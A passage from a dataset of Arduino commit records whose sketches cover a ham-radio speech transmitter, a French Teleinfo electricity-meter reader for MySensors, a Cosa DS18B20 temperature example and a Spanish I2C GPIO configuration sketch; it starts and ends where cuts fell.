{0x69,0xBD,0x56,0x15,0xAC,0x67,0xE5,0xA5,0xCC,0x2B,0x8E,0x82,0xD8,0xD6,0x39,0x9E,0xAE,0x85,0x50,0x37,0x5F,0x7D,0xEB,0x53,0x55,0x1B,0xDE,0xA6,0x6B,0x56,0x5D,0x74,0x47,0x2B,0x77,0x6E,0x75,0x87,0x59,0x95,0xA4,0x76,0x76,0x6B,0xCE,0xA2,0xB3,0x4C,0xF2,0xCF,0xBD,0xED,0xC9,0x54,0xB6,0x52,0x9F,0x7E,0xA5,0xDB,0xC7,0xCA,0x46,0x5D,0x13,0xEF,0xF8,0x84,0x37,0xA8,0xA9,0x0C,0xF2,0xE3,0xBE,0x24,0xC6,0x2B,0x48,0xDF,0xFF,0x03};\n\n\nvoid setup() {\n \/\/ NOTE: if not using PWM out, it should be held low to avoid tx noise\n pinMode(PWM_PIN, OUTPUT);\n digitalWrite(PWM_PIN, HIGH);\n \n \/\/ prep the switch\n pinMode(SWITCH_PIN, INPUT_PULLUP);\n \n \/\/ set up the reset control pin\n pinMode(RESET_PIN, OUTPUT);\n digitalWrite(RESET_PIN, HIGH);\n \n Serial.begin(9600);\n Serial.println(\"If the sketch freezes at radio status, there is something wrong with power or the shield\");\n Serial.print(\"Radio status: \");\n int result = radio.testConnection();\n Serial.println(result,DEC);\n Serial.println(\"Setting radio to its defaults..\");\n radio.initialize();\n radio.setRfPower(0);\n radio.frequency(144025);\n\n radio.setModeTransmit();\n voice.say(spKILO); \/\/ to change these to the words you would like to say, or a ham radio call sign - uncomment above encoded words\n voice.say(spSIX); \/\/ more word choices can be found at the talkie github site\n voice.say(spALPHA);\n voice.say(spTANGO);\n voice.say(spVICTOR);\n\n delay(2000);\n \n voice.say(spDANGER);\n voice.say(spDANGER);\n voice.say(spMOTOR);\n voice.say(spIS);\n voice.say(spON);\n voice.say(spFIRE);\n \n}\n\nvoid loop() {\n \/\/radio.bypassPreDeEmph();\n radio.frequency(144025);\n radio.setModeTransmit();\n for(;;) { }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SpeechTX\/SpeechTX.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"46e6d32fc60e1e40c30000a92b7488e42bc43864","subject":"Premi\u00e8re version","message":"Premi\u00e8re version\n","repos":"jaysee\/teleInfo","old_file":"teleInfo.ino","new_file":"teleInfo.ino","new_contents":"\/\/ mysensors\n#include <SPI.h>\n#include <MySensor.h>\n\n\/\/ teleinfo\n#include <SoftwareSerial.h>\n#define TI_RX 4\n#define TI_TX 5\n\n\/\/ uncomment to enable debuging\n#define DEBUG_ENABLED\n\n\/\/ longueur max des donn\u00e9es qu'on recoi\n#define BUFSIZE 15\n\n\/\/ dur\u00e9e entre 2 rafraichissements des donn\u00e9es\n#define SLEEP_TIME (10 * 1000)\n\n\/\/ battery voltage calculator\n\/\/ mmm la t\u00e9l\u00e9info emet un signal carr\u00e9 entre -25v et 25v a 1200bps, une diode, une capa, le regul du duino et hop non ?\n#define BATTERY_VOLTAGE 9.0\n#define BATTERY_SENSE_PIN A0\n\/\/ pont diviseur de tension\n#define VDIV_R1 100e3\n#define VDIV_R2 10e3\n\/\/ vdiv est la sensibilit\u00e9 de mon pont diviseur de tension\n#define VDIV ( ( VDIV_R1 + VDIV_R2 ) \/ VDIV_R2 ) * 1.1 \/ 1023\n\nMySensor gw;\n\n\/\/ param\u00e8tres des donn\u00e9es t\u00e9l\u00e9info\n\/\/ - ne pas toucher :)\n\/\/ pour mieux comprendre, allez plus bas j'ai ajout\u00e9 les informations de la doc ERDF afin de s'y retrouver\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ infos g\u00e9n\u00e9rales\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#define CHILD_ID_ADCO 0\nMyMessage msgADCO( CHILD_ID_ADCO, V_VAR1 );\n\n#define CHILD_ID_OPTARIF 1\nMyMessage msgOPTARIF( CHILD_ID_OPTARIF, V_VAR2 );\n\n#define CHILD_ID_ISOUSC 2\nMyMessage msgISOUSC( CHILD_ID_ISOUSC, V_CURRENT );\n\n#define CHILD_ID_PTEC 3\nMyMessage msgPTEC( CHILD_ID_PTEC, V_VAR3 );\n\n#define CHILD_ID_IINST 4\nMyMessage msgIINST( CHILD_ID_IINST, V_CURRENT );\n\n#define CHILD_ID_ADPS 5\nMyMessage msgADPS( CHILD_ID_ADPS, V_KWH );\n\n#define CHILD_ID_IMAX 6\nMyMessage msgIMAX( CHILD_ID_IMAX, V_CURRENT );\n\n#define CHILD_ID_PAPP 7\nMyMessage msgPAPP( CHILD_ID_PAPP, V_WATT );\n\n\/\/ infos tarif BASE\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#define CHILD_ID_BASE 10\nMyMessage msgBASE( CHILD_ID_BASE, V_KWH );\n\n\/\/ infos tarif HC\/HP\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#define CHILD_ID_HC_HC 20\nMyMessage msgHC_HC( CHILD_ID_HC_HC, V_KWH );\n\n#define CHILD_ID_HC_HP 21\nMyMessage msgHC_HP( CHILD_ID_HC_HP, V_KWH) ;\n\n\/\/ infos EJP\n#define CHILD_ID_EJP_HN 30\nMyMessage msgEJP_HN( CHILD_ID_EJP_HN, V_KWH );\n\n#define CHILD_ID_EJP_HPM 31\nMyMessage msgEJP_HPM( CHILD_ID_EJP_HPM, V_KWH );\n\n#define CHILD_ID_PEJP 32\nMyMessage msgPEJP( CHILD_ID_PEJP, V_KWH );\n\n\/\/ infos tarif BBR (tempo)\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#define CHILD_ID_BBR_HC_JB 40\nMyMessage msgBBR_HC_JB( CHILD_ID_BBR_HC_JB, V_KWH );\n\n#define CHILD_ID_BBR_HP_JB 41\nMyMessage msgBBR_HP_JB( CHILD_ID_BBR_HP_JB, V_KWH );\n\n#define CHILD_ID_BBR_HC_JW 42\nMyMessage msgBBR_HC_JW( CHILD_ID_BBR_HC_JW, V_KWH );\n\n#define CHILD_ID_BBR_HP_JW 43\nMyMessage msgBBR_HP_JW( CHILD_ID_BBR_HP_JW, V_KWH );\n\n#define CHILD_ID_BBR_HC_JR 44\nMyMessage msgBBR_HC_JR( CHILD_ID_BBR_HC_JR, V_KWH );\n\n#define CHILD_ID_BBR_HP_JR 45\nMyMessage msgBBR_HP_JR( CHILD_ID_BBR_HP_JR, V_KWH );\n\n#define CHILD_ID_DEMAIN 46\nMyMessage msgDEMAIN( CHILD_ID_DEMAIN, V_KWH );\n\n\/\/ sert \u00e0 EJP\/BBR\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#define CHILD_ID_HHPHC 50\nMyMessage msgHHPHC( CHILD_ID_HHPHC, V_VAR4 );\n\n\/\/ connexion s\u00e9rie avec le compteur EDF\nSoftwareSerial tiSerial( TI_RX, TI_RX );\n\nvoid setup() {\n\t\/\/ reduce clock speed (reduce power consumption)\n\tCLKPR = (1<<CLKPCE);\n\tCLKPR = B00000011; \/\/ should put the clock at 1Mhz\n\n#ifdef DEBUG_ENABLED\n\tSerial.begin( 115200 );\n#endif\n\n\ttiSerial.begin( 1200 );\n\n\t\/\/ use the 1.1 V internal reference\n\tanalogReference( INTERNAL );\n\n\tgw.begin();\n\tgw.sendSketchInfo( \"Teleinfo Sensor\", \"0.1\" );\n\n\tgw.present( CHILD_ID_ADCO, S_POWER );\n\tgw.present( CHILD_ID_OPTARIF, S_POWER );\n\tgw.present( CHILD_ID_ISOUSC, S_POWER );\n\tgw.present( CHILD_ID_PTEC, S_POWER );\n\tgw.present( CHILD_ID_IINST, S_POWER );\n\tgw.present( CHILD_ID_ADPS, S_POWER );\n\tgw.present( CHILD_ID_IMAX, S_POWER );\n\tgw.present( CHILD_ID_PAPP, S_POWER );\n\n\tgw.present( CHILD_ID_BASE, S_POWER );\n\n\tgw.present( CHILD_ID_HC_HC, S_POWER );\n\tgw.present( CHILD_ID_HC_HP, S_POWER );\n\n\tgw.present( CHILD_ID_EJP_HN, S_POWER );\n\tgw.present( CHILD_ID_EJP_HPM, S_POWER );\n\tgw.present( CHILD_ID_PEJP, S_POWER );\n\n\tgw.present( CHILD_ID_BBR_HC_JB, S_POWER );\n\tgw.present( CHILD_ID_BBR_HP_JB, S_POWER );\n\tgw.present( CHILD_ID_BBR_HC_JW, S_POWER );\n\tgw.present( CHILD_ID_BBR_HP_JW, S_POWER );\n\tgw.present( CHILD_ID_BBR_HC_JR, S_POWER );\n\tgw.present( CHILD_ID_BBR_HP_JR, S_POWER );\n\tgw.present( CHILD_ID_DEMAIN, S_POWER );\n\n\tgw.present( CHILD_ID_HHPHC, S_POWER );\n}\n\n\/*\nvoid readBatteryLevel( MySensor &mygw ) {\n\tstatic int oldBatteryPcnt = 0;\n\n\t\/\/ get the battery Voltage\n\tint sensorValue = analogRead( BATTERY_SENSE_PIN );\n\n#ifdef DEBUG_ENABLED\n\tSerial.print( F(\"Sensor Value: \") );\n\tSerial.println(sensorValue);\n#endif\n\n\tfloat batteryV = sensorValue * VDIV;\n\n#ifdef DEBUG_ENABLED\n\tSerial.print( F(\"Battery Voltage: \") );\n\tSerial.print( batteryV );\n\tSerial.println( F(\" V\") );\n#endif\n\n\tint batteryPcnt = batteryV * 100 \/ BATTERY_VOLTAGE;\n\tif (batteryPcnt > 100)\n\t\tbatteryPcnt = 100;\n\n#ifdef DEBUG_ENABLED\n\tSerial.print( F(\"Battery percent: \") );\n\tSerial.print(batteryPcnt);\n\tSerial.println( F(\" %\") );\n#endif\n\n\tif ( oldBatteryPcnt != batteryPcnt ) {\n\t\t\/\/ Power up radio after sleep\n\t\tmygw.sendBatteryLevel( batteryPcnt );\n\t\toldBatteryPcnt = batteryPcnt;\n\t}\n}\n*\/\n\ntypedef struct TeleInfo TeleInfo;\nstruct TeleInfo {\n\t\/\/ DOC ERDF - http:\/\/www.magdiblog.fr\/wp-content\/uploads\/2014\/09\/ERDF-NOI-CPT_02E.pdf\n\n\tchar ADCO[12]; \/\/Identifiant du compteur - m'en fous\n\tchar OPTARIF[4]; \/\/Option tarifaire (type d\u2019abonnement) - m'en fous\n\t\/\/ juste pour memoire, les values\n\t\/\/ BASE : option base\n\t\/\/ HC.. : option heure creuse\n\t\/\/ EJP. : option EJP\n\t\/\/ BBRx : option tempo, x est un char qui indique kkchose (relooooooou les mecs)\n\tuint8_t ISOUSC; \/\/ : Intensit\u00e9 souscrite 2chars en Amp\u00e8res - m'en fous\n \tuint32_t BASE; \/\/ Index si option = base (en Wh)\n\n\tuint32_t HC_HC; \/\/ Index heures creuses si option = heures creuses (en Wh)\n\tuint32_t HC_HP; \/\/ Index heures pleines si option = heures creuses (en Wh)\n\n\tuint32_t EJP_HN; \/\/ Index heures normales si option = EJP (en Wh)\n\tuint32_t EJP_HPM; \/\/ Index heures de pointe mobile si option = EJP (en Wh)\n\n\tuint32_t BBR_HC_JB; \/\/ Index heures creuses jours bleus si option = tempo (en Wh)\n\tuint32_t BBR_HP_JB; \/\/ Index heures pleines jours bleus si option = tempo (en Wh)\n\tuint32_t BBR_HC_JW; \/\/ Index heures creuses jours blancs si option = tempo (en Wh)\n\tuint32_t BBR_HP_JW; \/\/ Index heures pleines jours blancs si option = tempo (en Wh)\n\tuint32_t BBR_HC_JR; \/\/ Index heures creuses jours rouges si option = tempo (en Wh)\n\tuint32_t BBR_HP_JR; \/\/ Index heures pleines jours rouges si option = tempo (en Wh)\n\n\tuint8_t PEJP; \/\/ : Pr\u00e9avis EJP si option = EJP 30mn avant p\u00e9riode EJP, en minutes\n\n\tchar PTEC[4]; \/\/ P\u00e9riode tarifaire en cours\n\t\/\/ les valeurs de PTEC :\n\t\/\/ - TH.. => Toutes les Heures.\n\t\/\/ - HC.. => Heures Creuses.\n\t\/\/ - HP.. => Heures Pleines.\n\t\/\/ - HN.. => Heures Normales.\n\t\/\/ - PM.. => Heures de Pointe Mobile.\n\t\/\/ - HCJB => Heures Creuses Jours Bleus.\n\t\/\/ - HCJW => Heures Creuses Jours Blancs (White).\n\t\/\/ - HCJR => Heures Creuses Jours Rouges.\n\t\/\/ - HPJB => Heures Pleines Jours Bleus.\n\t\/\/ - HPJW => Heures Pleines Jours Blancs (White).\n\t\/\/ - HPJR => Heures Pleines Jours Rouges\n\n\tchar DEMAIN[4]; \/\/ Couleur du lendemain si option = tempo\n\t\/\/ valeurs de DEMAIN\n\t\/\/ - ---- : couleur du lendemain non connue\n\t\/\/ - BLEU : le lendemain est jour BLEU.\n\t\/\/ - BLAN : le lendemain est jour BLANC.\n\t\/\/ - ROUG : le lendemain est jour ROUGE.\n\n\tuint8_t IINST; \/\/ Intensit\u00e9 instantan\u00e9e (en amp\u00e8res)\n\tuint8_t ADPS; \/\/ Avertissement de d\u00e9passement de puissance souscrite (en amp\u00e8res)\n\tuint8_t IMAX; \/\/ Intensit\u00e9 maximale (en amp\u00e8res)\n\tuint32_t PAPP; \/\/ Puissance apparente (en Volt.amp\u00e8res)\n\n\tchar HHPHC; \/\/ Groupe horaire si option = heures creuses ou tempo\n\t\/\/ je comprend pas ce que veulent dire les valeurs de ce truc ... :\n\t\/\/ L'horaire heures pleines\/heures creuses (Groupe \"HHPHC\")\n\t\/\/ est cod\u00e9 par le caract\u00e8re alphanum\u00e9rique A, C, D, E ou Y correspondant \u00e0 la programmation du compteur.\n};\n\n\/\/ lecture teleinfo\nchar readTI() {\n\twhile ( !tiSerial.available() );\n\n\treturn tiSerial.read() & 0x7F;\n}\n\nbool atolTI( char *label, char *searchLabel, char *value, uint32_t &last, MyMessage &msg ) {\n\tuint32_t tmp;\n\n\tif ( strcmp( label, searchLabel ) != 0 )\n\t\treturn false;\n\n\ttmp = atol( value );\n\tif ( last == tmp )\n\t\treturn true;\n\n#ifdef DEBUG_ENABLED\n\tSerial.print( label );\n\tSerial.print( F(\" changed from \") );\n\tSerial.print( last );\n\tSerial.print( F(\" to \") );\n\tSerial.println( tmp );\n#endif\n\n\tlast = tmp;\n\tgw.send( msg.set( last ) );\n\n\treturn true;\n}\nbool atoiTI( char *label, char *searchLabel, char *value, uint8_t &last, MyMessage &msg ) {\n\tuint8_t tmp;\n\n\tif ( strcmp( label, searchLabel ) != 0 )\n\t\treturn false;\n\n\ttmp = atoi( value );\n\tif ( last == tmp )\n\t\treturn true;\n\n#ifdef DEBUG_ENABLED\n Serial.print( label );\n Serial.print( F(\" changed from \") );\n Serial.print( last );\n Serial.print( F(\" to \") );\n Serial.println( tmp );\n#endif\n\n\tlast = tmp;\n\tgw.send( msg.set( last ) );\n\n\treturn true;\n}\nbool charTI( char *label, char *searchLabel, char &value, char &last, MyMessage &msg ) {\n\tif ( strcmp( label, searchLabel ) != 0 )\n\t\treturn false;\n\n\tif ( last == value )\n\t\treturn true;\n\n#ifdef DEBUG_ENABLED\n Serial.print( label );\n Serial.print( F(\" changed from \") );\n Serial.print( last );\n Serial.print( F(\" to \") );\n Serial.println( value );\n#endif\n\n\tlast = value;\n\tgw.send( msg.set( last ) );\n\n\treturn true;\n}\nbool strTI( char *label, char *searchLabel, char *value, char *last, MyMessage &msg ) {\n\tif ( strcmp( label, searchLabel ) != 0 )\n\t\treturn false;\n\n\tif ( strcmp( last, value ) == 0 )\n\t\treturn true;\n\n#ifdef DEBUG_ENABLED\n Serial.print( label );\n Serial.print( F(\" changed from \") );\n Serial.print( last );\n Serial.print( F(\" to \") );\n Serial.println( value );\n#endif\n\n\tstrcpy(last, value);\n\tgw.send( msg.set( last ) );\n\n\treturn true;\n}\n\nvoid getTI() {\n\tstatic TeleInfo last; \/\/ derni\u00e8re lecture\n\tchar c; \/\/ le char qu'on read\n\n\t\/\/ tout d'abord on cherche une fin de ligne\n\twhile ( readTI() != '\\n' );\n\t\/\/ maintenant on cherche le label MOTDETAT (cad fin de trame)\n\t\/\/ TIP: c'est le seul qui commence par un M!\n\tbool sol = true; \/\/ start of line\n\twhile ( true ) {\n\t\tc = readTI();\n\t\tif ( sol && (c == 'M') )\n\t\t\tbreak;\n\t\tsol = ( c == '\\n' ); \/\/ fin de ligne trouv\u00e9e, le prochain char sera en debut de ligne donc!\n\t}\n\t\/\/ eat the line\n\twhile ( readTI() != '\\n' );\n\n\t\/\/ ca y est, on peu bosser!\n\treadLine:\n\n\tuint8_t i; \/\/ un compteur\n\tuint8_t myCS = 32, cs; \/\/ le checksum\n\n\t\/\/ commencer par detecter le label (search for 0x20)\n\ti = 0;\n\tchar label[ BUFSIZE ]; \/\/ etiquette\n\tmemset( label, 0, BUFSIZE );\n\twhile ( true ) {\n\t\tc = readTI();\n\t\tmyCS += (int)c;\n\n\t\tif ( c == ' ' ) break;\n\n\t\tlabel[ i++ ] = c;\n\t\tif ( i == BUFSIZE ) \/\/ prevent overflow, it will break the checksum, so silent exit\n\t\t\tbreak; \n\t}\n\n\t\/\/ la value (search for 0x20)\n\ti = 0;\n\tchar value[ BUFSIZE ]; \/\/ la value la plus longue ligne est ADCO \/ 15\n\tmemset( value, 0, BUFSIZE );\n\twhile ( true ) {\n\t\tc = readTI();\n\t\tmyCS += (int)c;\n\n\t\tif ( c == ' ' ) break;\n\n\t\tvalue[ i++ ] = c;\n\t\tif ( i == BUFSIZE ) \/\/ prevent overflow, it will break the checksum, so silent exit\n\t\t\tbreak; \n\t}\n\n\t\/\/ le checksum\n\tcs = readTI();\n\n\t\/\/ drop end of line char\n\treadTI(); readTI(); \/\/ \\r\\n\n\n#ifdef DEBUG_ENABLED\n\t\tSerial.print( F(\"GOT LABEL=\") );\n\t\tSerial.print( label );\n\t\tSerial.print( F(\" VALUE=\") );\n\t\tSerial.print( value );\n\t\tSerial.print( F(\" CHECKSUM=\") );\n\t\tSerial.println( cs, HEX );\n#endif\n\n\t\/\/ now on regarde ce que cette ligne voulait bien nous dire\n\t\/\/ the end ?\n\tif ( strcmp( label, \"MOTDETAT\" ) == 0 ) \/\/ on verifie pas le checksum de cette ligne\n\t\treturn;\n\n\t\/\/ check le checksum\n\tmyCS = (myCS & 0x3F) + 0x20;\n\tif ( myCS != cs ) { \/\/ si c'est pas bon... ben c'est con!\n#ifdef DEBUG_ENABLED\n\t\tSerial.print( F(\"CHECKSUM ERROR!!!, MY=\") );\n\t\tSerial.print( myCS, HEX );\n\t\tSerial.print( F(\" CHECKSUM=\") );\n\t\tSerial.println( cs, HEX );\n#endif\n\t\tgoto readLine;\n\t}\n\n\tif ( strTI( label, \"ADCO\", value, last.ADCO, msgADCO ) )\t\t\tgoto readLine;\n\tif ( strTI( label, \"OPTARIF\", value, last.OPTARIF, msgOPTARIF ) )\tgoto readLine;\n\tif ( atoiTI( label, \"ISOUSC\", value, last.ISOUSC, msgISOUSC ) )\t\tgoto readLine;\n\tif ( atolTI( label, \"BASE\", value, last.BASE, msgBASE ) )\t\t\tgoto readLine;\n\n\tif ( atolTI( label, \"HCHC\", value, last.HC_HC, msgHC_HC ) )\t\t\tgoto readLine;\n\tif ( atolTI( label, \"HCHP\", value, last.HC_HP, msgHC_HP ) )\t\t\tgoto readLine;\n\n\tif ( atolTI( label, \"EJPHN\", value, last.EJP_HN, msgEJP_HN ) )\t\tgoto readLine;\n\tif ( atolTI( label, \"EJPHPM\", value, last.EJP_HPM, msgEJP_HPM ) )\tgoto readLine;\n\n\tif ( atolTI( label, \"BBRHCJB\", value, last.BBR_HC_JB, msgBBR_HC_JB ) ) goto readLine;\n\tif ( atolTI( label, \"BBRHPJB\", value, last.BBR_HP_JB, msgBBR_HP_JB ) ) goto readLine;\n\tif ( atolTI( label, \"BBRHCJW\", value, last.BBR_HC_JW, msgBBR_HC_JW ) ) goto readLine;\n\tif ( atolTI( label, \"BBRHPJW\", value, last.BBR_HP_JW, msgBBR_HP_JW ) ) goto readLine;\n\tif ( atolTI( label, \"BBRHCJR\", value, last.BBR_HC_JR, msgBBR_HC_JR ) ) goto readLine;\n\tif ( atolTI( label, \"BBRHPJR\", value, last.BBR_HP_JR, msgBBR_HP_JR ) ) goto readLine;\n\n\tif ( atoiTI( label, \"PEJP\", value, last.PEJP, msgPEJP ) )\t\t\tgoto readLine;\n\tif ( strTI( label, \"PTEC\", value, last.PTEC, msgPTEC ) )\t\t\tgoto readLine;\n\n\tif ( strTI( label, \"DEMAIN\", value, last.DEMAIN, msgDEMAIN ) )\t\tgoto readLine;\n\n\tif ( atoiTI( label, \"IINST\", value, last.IINST, msgIINST ) )\t\tgoto readLine;\n\tif ( atoiTI( label, \"ADPS\", value, last.ADPS, msgADPS ) )\t\t\tgoto readLine;\n\tif ( atoiTI( label, \"IMAX\", value, last.IMAX, msgIMAX ) )\t\t\tgoto readLine;\n\tif ( atolTI( label, \"PAPP\", value, last.PAPP, msgPAPP ) )\t\t\tgoto readLine;\n\n\tif ( charTI( label, \"HHPHC\", value[0], last.HHPHC, msgHHPHC ) )\n\t\tgoto readLine;\n\n#ifdef DEBUG_ENABLED\n\tSerial.print( F( \"unkown LABEL=\" ) );\n\tSerial.print( label );\n\tSerial.print( F( \" VALUE=\" ) );\n\tSerial.println( value );\t\n#endif\n\n\t\/\/ pour les cas non g\u00e9r\u00e9s\n\tgoto readLine;\n}\n\nvoid loop() {\n\t\/\/readBatteryLevel( gw );\n\tgetTI();\n\n\t\/\/ attendre avant prochaine lecture\n\tgw.sleep( SLEEP_TIME );\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'teleInfo.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"aebbc922b66fdd0ba4c82cf15e17ebf193073d55","subject":"Adding a sketch to demonstrate event driven DS18B20 handling.","message":"Adding a sketch to demonstrate event driven DS18B20 handling.\n","repos":"kc9jud\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,rrobinet\/Cosa,kc9jud\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,dansut\/Cosa,kc9jud\/Cosa,kc9jud\/Cosa,rrobinet\/Cosa,rrobinet\/Cosa","old_file":"examples\/OWI\/CosaDS18B20periodic\/CosaDS18B20periodic.ino","new_file":"examples\/OWI\/CosaDS18B20periodic\/CosaDS18B20periodic.ino","new_contents":"\/**\n * @file CosaDS18B20periodic.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2015, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * @section Description\n * Cosa demonstrate event driven, periodic, handling of the DS18B20\n * 1-Wire device driver.\n *\n * @section Circuit\n * @code\n * DS18B20\/3\n * +------------+\n * (GND)---------------1-|GND |\\\n * (D4)------+---------2-|DQ | |\n * | +-3-|VDD |\/\n * 4K7 | +------------+\n * | |\n * (VCC)-----+ +---(VCC\/GND)\n *\n * @endcode\n\n * Connect Arduino to DS18B20 in D7 and GND. May use parasite\n * powering (connect DS18B20 VCC to GND) otherwise to VCC.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Event.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/Periodic.hh\"\n#include \"Cosa\/OWI\/Driver\/DS18B20.hh\"\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n\n\/\/ One-wire pin\nOWI owi(Board::D4);\n\nclass Sensor : public DS18B20, public Periodic {\npublic:\n \/**\n * Construct sensor on given 1-wire bus. Convert and read\n * temperature with given time period (in milli-seconds).\n * @param[in] pin 1-wire bus.\n * @param[in] ms time period for samples (default 2048 ms).\n *\/\n Sensor(OWI* pin, uint16_t ms = 2048) :\n DS18B20(pin),\n Periodic(ms \/ 2),\n m_state(0)\n {}\n\n \/**\n * Return current state.\n *\/\n uint8_t get_state()\n {\n return (m_state);\n }\n\n \/**\n * @override Sensor\n * Called when a new sample is available.\n *\/\n virtual void on_sample();\n\nprotected:\n \/**\n * @override Periodic\n * Request temperature measurement and read back sample as a simple\n * state machine. Two periods are used.\n *\/\n virtual void run();\n\n \/** Current state (0=convert request, 1=read sample, 2=error). *\/\n uint8_t m_state;\n};\n\nvoid\nSensor::run()\n{\n switch (m_state) {\n case 0:\n m_state = convert_request() ? 1 : 2;\n break;\n case 1:\n m_state = read_scratchpad() ? 0 : 2;\n on_sample();\n break;\n case 2:\n ASSERT(m_state != 2);\n break;\n }\n}\n\nvoid\nSensor::on_sample()\n{\n trace << Watchdog::millis() << ':' << *this << PSTR(\" C\") << endl;\n}\n\nSensor sensor(&owi);\n\nvoid setup()\n{\n \/\/ Start trace output stream on the serial port\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaDS18B20periodic: started\"));\n\n \/\/ Start the watchdog ticks counter\n Watchdog::begin(16, Watchdog::push_timeout_events);\n\n \/\/ Connect to the device and start periodic function\n ASSERT(sensor.connect(0));\n sensor.begin();\n}\n\nvoid loop()\n{\n \/\/ Service events\n Event::service();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/OWI\/CosaDS18B20periodic\/CosaDS18B20periodic.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"4a5517efb1999de24d76ca2cf3b272954210b365","subject":"Sketch de configuracion del chip","message":"Sketch de configuracion del chip\n","repos":"jalcaldea\/Empotrados","old_file":"test\/configuracion\/configuracion.ino","new_file":"test\/configuracion\/configuracion.ino","new_contents":"\/\/ --------------------------------------\n\/\/ Habilitar la EEPROM\n\/\/\n\n#include <Wire.h>\n\n#define GPIO 0x20\n#define MEM 0x50\n\n#define SELECT 0x18\n#define INTERRUPT 0x19\n#define ENABLER 0x2D\n#define DIRECTION 0x1C\n#define COMMAND 0x30\n\n#define W_GPORT0 0x08\n#define W_GPORT1 0x09\n#define W_GPORT2 0x0A\n#define W_GPORT3 0x0B\n#define W_GPORT4 0x0C\n#define W_GPORT5 0x0D\n#define W_GPORT6 0x0E\n#define W_GPORT7 0x0F\n\n#define PASS1 0x43\n#define PASS2 0x4D\n#define PASS3 0x53\n\n#define VALUE 0x02\n\n#define STORE 0x01\n\nvoid setup(){\n \n Wire.begin();\n\n Serial.begin(9600);\n while (!Serial);\n\n Serial.print(\"Iniciando EEPROM...\");\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)ENABLER);\n Wire.write((byte)PASS1);\n Wire.write((byte)PASS2);\n Wire.write((byte)PASS3);\n Wire.write((byte)VALUE);\n int error = Wire.endTransmission();\n\n if (error == 0) {\n Serial.println(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.println(error);\n }\n \n Serial.print(\"Configurando GPORT0...\");\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)SELECT);\n Wire.write((byte)0);\n error = Wire.endTransmission();\n\n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n\n Wire.beginTransmission(GPIO);\n Wire.write((byte)DIRECTION);\n Wire.write((byte)0XFF);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)INTERRUPT);\n Wire.write((byte)0XFF);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)W_GPORT0);\n Wire.write((byte)0);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)0x1E);\n Wire.write((byte)0XFF);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.println(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.println(error);\n }\n \n \n \n Serial.print(\"Configurando GPORT1...\");\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)SELECT);\n Wire.write((byte)1);\n error = Wire.endTransmission();\n\n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n\n Wire.beginTransmission(GPIO);\n Wire.write((byte)DIRECTION);\n Wire.write((byte)0XFF);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)INTERRUPT);\n Wire.write((byte)0XFF);\n error = Wire.endTransmission();\n \n if (error == 0) {\n Serial.print(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.print(error);\n }\n \n Wire.beginTransmission(GPIO);\n Wire.write((byte)W_GPORT1);\n 